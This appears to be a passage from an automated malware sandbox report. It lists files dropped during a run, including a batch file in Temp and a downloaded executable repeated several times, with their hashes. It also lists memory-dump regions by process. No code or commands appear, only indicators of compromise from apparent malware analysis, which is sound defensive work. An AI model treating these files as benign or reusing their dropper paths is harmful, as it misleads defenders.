SHA51227c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
-
C:\Users\Admin\AppData\Local\Temp\Wvjrrzxdkill$-arab.batFilesize
53KB
MD5b57545cb36ef6a19fdde4b2208ebb225
SHA11d319740835ff12562e04cc74545a047bba63031
SHA256445d709ea4ae38706a0cc47ffc6c100fb9a354ff1ac718d0c23415524bdfc895
SHA5123618bb17282d8d82ff280590563eebd5c0b181d24156f6a69cba53d17a1bae0d9287c9f191efbe6c3d4223bcb47348c74177000aa0844263ed176df56e1f0856
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sktknynm.rd0.ps1Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
C:\Users\Admin\Downloads\a-Xgjsx.exeFilesize
530KB
MD557c683e8ab7b7e1390c037c9a97c7688
SHA1316e4c90085677c5a5f9ccb66ec64c701a89afc7
SHA256060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
SHA5127462612a9adb287674437924e1ae740c971cac89dfef7290ffd95df618e2b88d25bbafbef0b76dda418ebc2547fa2674c04a455c0341195e13b8fc71387bc953
-
C:\Users\Admin\Downloads\a-Xgjsx.exeFilesize
530KB
MD557c683e8ab7b7e1390c037c9a97c7688
SHA1316e4c90085677c5a5f9ccb66ec64c701a89afc7
SHA256060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
SHA5127462612a9adb287674437924e1ae740c971cac89dfef7290ffd95df618e2b88d25bbafbef0b76dda418ebc2547fa2674c04a455c0341195e13b8fc71387bc953
-
C:\Users\Admin\Downloads\a-Xgjsx.exeFilesize
530KB
MD557c683e8ab7b7e1390c037c9a97c7688
SHA1316e4c90085677c5a5f9ccb66ec64c701a89afc7
SHA256060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
SHA5127462612a9adb287674437924e1ae740c971cac89dfef7290ffd95df618e2b88d25bbafbef0b76dda418ebc2547fa2674c04a455c0341195e13b8fc71387bc953
-
C:\Users\Admin\Downloads\a-Xgjsx.exeFilesize
530KB
MD557c683e8ab7b7e1390c037c9a97c7688
SHA1316e4c90085677c5a5f9ccb66ec64c701a89afc7
SHA256060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
SHA5127462612a9adb287674437924e1ae740c971cac89dfef7290ffd95df618e2b88d25bbafbef0b76dda418ebc2547fa2674c04a455c0341195e13b8fc71387bc953
-
C:\Users\Admin\Downloads\a-Xgjsx.exeFilesize
530KB
MD557c683e8ab7b7e1390c037c9a97c7688
SHA1316e4c90085677c5a5f9ccb66ec64c701a89afc7
SHA256060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
SHA5127462612a9adb287674437924e1ae740c971cac89dfef7290ffd95df618e2b88d25bbafbef0b76dda418ebc2547fa2674c04a455c0341195e13b8fc71387bc953
-
C:\Users\Admin\Downloads\a-Xgjsx.exeFilesize
530KB
MD557c683e8ab7b7e1390c037c9a97c7688
SHA1316e4c90085677c5a5f9ccb66ec64c701a89afc7
SHA256060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
SHA5127462612a9adb287674437924e1ae740c971cac89dfef7290ffd95df618e2b88d25bbafbef0b76dda418ebc2547fa2674c04a455c0341195e13b8fc71387bc953
-
C:\Users\Admin\Downloads\a-Xgjsx.exeFilesize
530KB
MD557c683e8ab7b7e1390c037c9a97c7688
SHA1316e4c90085677c5a5f9ccb66ec64c701a89afc7
SHA256060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
SHA5127462612a9adb287674437924e1ae740c971cac89dfef7290ffd95df618e2b88d25bbafbef0b76dda418ebc2547fa2674c04a455c0341195e13b8fc71387bc953
-
C:\Users\Admin\Downloads\a-Xgjsx.exeFilesize
530KB
MD557c683e8ab7b7e1390c037c9a97c7688
SHA1316e4c90085677c5a5f9ccb66ec64c701a89afc7
SHA256060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
SHA5127462612a9adb287674437924e1ae740c971cac89dfef7290ffd95df618e2b88d25bbafbef0b76dda418ebc2547fa2674c04a455c0341195e13b8fc71387bc953
-
\??\pipe\crashpad_996_SUFTNDISMEQADRGEMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/1156-205-0x00000000072D0000-0x00000000072E0000-memory.dmpFilesize
64KB
-
memory/1156-319-0x00000000072D0000-0x00000000072E0000-memory.dmpFilesize
64KB
-
memory/1156-208-0x00000000087E0000-0x0000000008856000-memory.dmpFilesize
472KB
-
memory/1156-206-0x00000000072D0000-0x00000000072E0000-memory.dmpFilesize
64KB
-
memory/1156-204-0x0000000007F40000-0x0000000007FA6000-memory.dmpFilesize
408KB
-
memory/1156-232-0x000000000A020000-0x000000000A698000-memory.dmpFilesize
6.5MB
-
memory/1156-233-0x00000000095C0000-0x00000000095DA000-memory.dmpFilesize
104KB
-
memory/1156-203-0x0000000007790000-0x00000000077F6000-memory.dmpFilesize
408KB
-
memory/1156-202-0x0000000007910000-0x0000000007F38000-memory.dmpFilesize
6.2MB
-
memory/1156-201-0x0000000005010000-0x0000000005046000-memory.dmpFilesize
216KB
-
memory/1156-207-0x0000000008480000-0x000000000849C000-memory.dmpFilesize
112KB
-
memory/1156-320-0x00000000072D0000-0x00000000072E0000-memory.dmpFilesize
64KB
-
memory/2680-12828-0x0000000000110000-0x00000000001BE000-memory.dmpFilesize
696KB
-
memory/4700-195-0x0000000006460000-0x00000000064F2000-memory.dmpFilesize
584KB
-
memory/4700-318-0x0000000004F60000-0x0000000004F70000-memory.dmpFilesize
64KB
-
memory/4700-194-0x0000000006370000-0x00000000063BB000-memory.dmpFilesize
300KB
-
memory/4700-193-0x0000000005FF0000-0x0000000006340000-memory.dmpFilesize
3.3MB
-
memory/4700-192-0x0000000005EA0000-0x0000000005FEC000-memory.dmpFilesize
1.3MB
-
memory/4700-191-0x0000000004F60000-0x0000000004F70000-memory.dmpFilesize
64KB
-
memory/4700-196-0x0000000006560000-0x0000000006582000-memory.dmpFilesize
136KB
-
memory/4700-190-0x0000000004CD0000-0x0000000004CDA000-memory.dmpFilesize
40KB
-
memory/4700-189-0x0000000004D00000-0x0000000004D92000-memory.dmpFilesize
584KB
-
memory/4700-188-0x0000000005160000-0x000000000565E000-memory.dmpFilesize
5.0MB
-
memory/4700-187-0x0000000000400000-0x000000000048A000-memory.dmpFilesize
552KB
-
memory/5112-347-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-12836-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-344-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-342-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-348-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-349-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-350-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-351-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-352-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-353-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-354-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-357-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-358-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-355-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-361-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-360-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-363-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-364-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-365-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-366-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-368-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-367-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-339-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-2067-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-2941-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-12027-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-12856-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-337-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-343-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-12837-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-12841-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5112-12854-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/6108-12827-0x0000000077010000-0x0000000077011000-memory.dmpFilesize
4KB
-
memory/6988-13566-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-12888-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-13656-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-12906-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-12905-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-12907-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-12908-0x00007FF716610000-0x00007FF716620000-memory.dmpFilesize
64KB
-
memory/6988-12926-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-13655-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-12886-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-14759-0x00000000216A0000-0x00000000217A0000-memory.dmpFilesize
1024KB
-
memory/6988-12887-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-13564-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-13657-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-13658-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-13660-0x00007FF716610000-0x00007FF716620000-memory.dmpFilesize
64KB
-
memory/6988-13806-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-14261-0x0000000020740000-0x0000000020C66000-memory.dmpFilesize
5.1MB
-
memory/6988-14704-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB
-
memory/6988-14716-0x0000000020450000-0x0000000020502000-memory.dmpFilesize
712KB
-
memory/6988-14738-0x00000000216A0000-0x00000000217A0000-memory.dmpFilesize
1024KB
-
memory/6988-13561-0x000000001D470000-0x000000001D480000-memory.dmpFilesize
64KB